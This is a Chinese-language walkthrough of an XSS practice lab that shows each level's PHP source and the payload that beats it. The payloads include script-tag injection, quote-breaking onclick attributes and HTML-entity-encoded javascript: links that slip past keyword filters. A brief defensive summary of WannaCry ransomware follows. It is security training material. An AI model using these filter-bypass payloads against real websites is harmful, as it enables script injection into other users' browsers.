（1）反射型 XSS

level 1

#源码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
```

#注入过程

在script内，如果alert函数被调用执行，则会弹出警示框，重定向到level2

window.location.href 重定向

那么直接在url的name参数进行xss注入。

payload：

```
<script>alert(1)</script>
```

level 2

#源码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！ ");
 window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.
</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
```

```
htmlspecialchars($str)  将字符串中的特殊字符转换为HTML实体
```

#注入过程

php代码部分对应网页部分。

可以看到`<script>alert(1)</script>`被嵌套到value属性中，所以我们需要闭合input标签。

payload：

```
"><script>alert(1)</script>
```

Level3

#源码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."
<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
```

```
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
```

```
htmlspecialchars()函数把预定义的字符转换为 HTML 实体
预定义的字符有:
 &  （和号）成为 &amp;
 "  （双引号）成为 &quot;
 '  （单引号）成为 '
 <  （小于）成为 &lt;
 >  （大于）成为 &gt;
```

htmlspecialchars() 默认是只编码双引号的，而且单引号无论如何都不转义。

#注入过程

我们输入`<script>alert(1)</script>`，查看网页源码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert(1)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
```

显然这一关比较第2关，把value属性过滤了。我们可以构造一个事件，使得事件发生时，则执行JavaScript。那么我们是不是可以联想到鼠标点击事件`onclinck`，因这里不会对单引号转义，那么使用单引号闭合。

payload：

```
' onclick='alert(1)
```

然后输入框的就会被添加 onclick属性，我们点击一下输入框，即可过关

（2）存储型 XSS

Level 8

#源码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
```

```
</body>
</html>
```

预定义字符被转义，其他属性也不是被过滤成空字符了，那么就不能使用双写注入了。

#注入过程

我们在输入框输入的内容，会被带入到友情链接 `href` 属性中，那我们是不是可以直接输入 `javascript:alert(1)`，点击友情链接不就可以了嘛。当我们输入后发现javascript被过滤了。只能使用HTML实体编码(即Unicode编码)绕过了。

HTML字符实体转换，网页字符实体编码 (qqxiuzi.cn)

将 `javascript:alert(1)` 进行实体编码

payload：

```
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
```

Level9

#源码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
```

```
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
```

strpos($str7, 'http://')函数用于在字符串中查找子字符串http://的位置。如果找到了子字符串，则返回子字符串的起始位置（也就是一个非负整数值）。如果没有找到子字符串，则返回false。

false===strpos($str7,'http://') 如果strpos($str7, 'http://')的返回值为false且类型为布尔值（即完全相等），则条件成立。

注入过程

正常注入，查看源代码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&lt;script&gt;alert(1)&lt;/script&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法？有没有！">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
```

显示链接不合法？意思是让我们输入个待http://的值？试着输入以下，查看源代码。

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="http://&lt;script&gt;alert(1)&lt;/script&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="http://<scr ipt>alert(1)</scr ipt>">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:34</h3></body>
</html>
```

诶，好像链接合法了，但是http://在前面是无法执行JavaScript，那么如何去除呢，我们想到这个是php代码，是不是可以用双斜杠进行注释，http://放到最后面不就注释掉了嘛。注意这关也需要实体化字符串。

payload：

```
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
```

（3）选做

- WannaCry 勒索病毒简要分析

1. **基本信息**
   WannaCry 是一种勒索软件，于 2017 年 5 月首次爆发，利用加密技术锁定用户文件，要求支付比特币赎金解锁。它主要针对 Windows 系统，特别是未打补丁的版本。
2. **传播方式**

- 主要通过“永恒之蓝”漏洞（EternalBlue）攻击 Windows 的 SMBv1 协议。
- 一旦感染，会在局域网内横向传播。
- 也可通过钓鱼邮件传播恶意附件或链接。

1. **影响范围**
   全球超过 150 个国家受影响，感染超 20 万台设备。涉及医疗、教育、金融、交通等多个行业，英国 NHS、中国部分高校和政府机构等都曾中招。
2. **防护与应对措施**

- 安装微软补丁（MS17-010），及时更新系统。
- 禁用 SMBv1 协议。
- 加强邮件安全意识，避免点击不明附件。

- 定期备份重要数据。